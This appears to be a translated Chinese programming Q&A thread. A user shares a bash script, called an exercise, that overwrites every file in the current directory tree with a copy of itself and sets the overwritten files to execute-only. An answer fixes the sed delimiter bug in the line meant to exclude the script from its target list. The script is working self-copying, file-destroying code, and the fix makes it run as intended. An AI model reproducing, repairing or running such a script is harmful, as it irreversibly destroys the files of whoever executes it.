我制作的脚本会将自身复制到执行目录中的所有其他文件中。 (仅作为练习)
#!/bin/bash
naz=$0
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt'
find -type f > $list
sed -i "/$list/d" $list
sed -i "/"$naz"/d" $list
while read infest
do
cp "$naz" "$infest" 2>/dev/null
chmod 100 "$infest" 2>/dev/null
done < $list
chmod 744 $naz
rm $list
它做了我想要它做的事情,但是我试图从列表中删除程序本身就出现了错误。终端给了我这个:
sed: -e expression #1, char 16: unterminated `s' command
我在终端窗口中手动执行了这些命令,它运行得很好,但为什么在脚本中它不会工作呢?
答案 0 :(得分:3)
问题似乎出在这一行:
sed -i "/"$naz"/d" $list
由于代表$naz
的变量$0
可能包含/
,并且当您使用sed
作为分隔符时,会导致/
投诉
要解决此问题,您可以在sed
中使用替代分隔符:
sed -i "\#$naz#d" "$list"
假设您的文件名没有#
字符,否则sed
允许使用控制字符作为分隔符。